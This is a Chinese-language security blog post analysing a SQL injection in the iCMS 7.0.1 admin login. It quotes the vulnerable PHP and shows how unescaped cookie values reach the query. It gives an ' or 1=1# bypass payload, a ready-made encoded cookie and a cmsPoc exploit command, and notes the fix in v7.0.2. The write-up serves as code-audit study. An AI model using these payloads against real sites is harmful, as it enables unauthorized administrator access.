Chybeta

ICMSv7.0.1 admincp.class.php sql注入分析

ICMSv7.0.1 admincp.class.php sql注入分析
代码审计学习中

下载地址:ICMSv7.0.1

漏洞分析

出现漏洞的地方在 app\admincp\admincp.class.php 的init函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public static function init() {
self::check_seccode(); //验证码验证
iUI::$dialog['title'] = iPHP_APP;
iDB::$show_errors = true;
iDB::$show_trace = false;
iDB::$show_explain = false;
members::$LOGIN_PAGE = ACP_PATH.'/template/admincp.login.php';
members::$GATEWAY = iPHP::PG('gateway');
members::check_login(); //用户登陆验证
members::check_priv('ADMINCP','page');//检查是否有后台权限
files::init(array('userid'=> members::$userid));
//菜单
menu::init();
menu::$callback = array(
"priv" => array("members","check_priv"),
"hkey" => members::$userid
);
admincp::$callback = array(
"history" => array("menu","history"),
"priv" => array("members","check_priv")
);
}

在用户登陆验证,调用members::check_login(),跟进,其代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public static function check_login() {
// self::$LOGIN_COUNT = (int)authcode(get_cookie('iCMS_LOGIN_COUNT'),'DECODE');
// if(self::$LOGIN_COUNT>iCMS_LOGIN_COUNT) exit();
$a = iSecurity::escapeStr($_POST['username']);
$p = iSecurity::escapeStr($_POST['password']);
$ip = iPHP::get_ip();
$sep = iPHP_AUTH_IP?'#=iCMS['.$ip.']=#':'#=iCMS=#';
if(empty($a) && empty($p)) {
$auth = iPHP::get_cookie(self::$AUTH);
list($a,$p) = explode($sep,authcode($auth,'DECODE'));
$c = self::check($a,$p);
}else {
$p = md5($p);
$c = self::check($a,$p);
if ($c){
iDB::query("
UPDATE `#iCMS@__members`
SET `lastip`='".$ip."',
`lastlogintime`='".time()."',
`logintimes`=logintimes+1
WHERE `uid`='".self::$userid."'
");
iPHP::set_cookie(self::$AUTH,authcode($a.$sep.$p,'ENCODE'));
}
}
return self::result($c);
}

$a$p分别是用户名和密码,会先经过escapeStr的过滤,若不为空且通过了self::check($a,$p)的检查即可登陆成功。若为空,则会从cookie里获取值,并通过list($a,$p) = explode($sep,authcode($auth,'DECODE'));获取到用户名和密码,并进行检查self::check($a,$p)。

self::check()的部分代码:

1
2
3
4
5
6
7
public static function check($a,$p) {
if(empty($a) && empty($p)) {
return false;
}
self::$data = iDB::row("SELECT * FROM `#iCMS@__members` WHERE `username`='{$a}' AND `password`='{$p}' AND `status`='1' LIMIT 1;");
...

通常情况下,要从登陆口进行注入,传入的参数会进行escapeStr()的过滤,而escapeStr()是比较严格的:

1
2
3
4
5
6
7
8
9
10
11
12
13
public static function escapeStr($string) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = iSecurity::escapeStr($val);
}
} else {
$string = str_replace(array('%00','\\0',"\0","\x0B"), '', $string); //modified@2010-7-5
$string = str_replace(array('&', '"',"'", '<', '>'), array('&amp;', '&quot;','&#039;', '&lt;', '&gt;'), $string);
$string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4})|[a-zA-Z][a-z0-9]{2,5});)/', '&\\1',$string);
$string = str_replace('\\\\', '&#92;', $string);
}
return $string;
}

对单双引号都做了过滤,因此若是直接注入,会闭合失败。

考虑从cookie获取参数的路径,即下面这段代码:

1
2
3
4
5
if(empty($a) && empty($p)) {
$auth = iPHP::get_cookie(self::$AUTH);
list($a,$p) = explode($sep,authcode($auth,'DECODE'));
$c = self::check($a,$p);
}

从cookie中恢复的$a$p没有再进行检查。所以假设我们能构造一个cookie,使得从explode恢复出来的$a$p包含引号能够闭合,那就能引发sql注入了。

假设username为' or 1=1%23,password为随意,则期望的sql注入语句为:

1
SELECT * FROM `#iCMS@__members` WHERE `username`='' or 1=1#' AND `password`='1' AND `status`='1' LIMIT

生成的对应的cookie即为:

1
4a62f154%2B9j%2BoQdL3%2BsaUTFDkMvY6WSLPzfJIFgd%2FBLE1ghVDuX4WQjoLW7es0tR60E

可以看到已经登陆成功。

cmsPoc里提供了python版本的poc,对应命令如下:

1
python cmspoc.py -t icms -s v701_sqlinject_getadmin -u http://10.10.10.1:2500/iCMS-7.0.1/admincp.php

修补方案

官方在 v7.0.2中修复了该漏洞,在members::check_login()函数中,当从cookie中获取到$a,$p后先进行了一次addslashes,之后才进行查询。

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:ICMSv7.0.1 admincp.class.php sql注入分析

文章作者:chybeta

发布时间:2017年09月12日 - 14:09

最后更新:2017年09月12日 - 18:09

原始链接:http://chybeta.github.io/2017/09/12/ICMSv7-0-1-admincp-class-php-sql注入分析/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。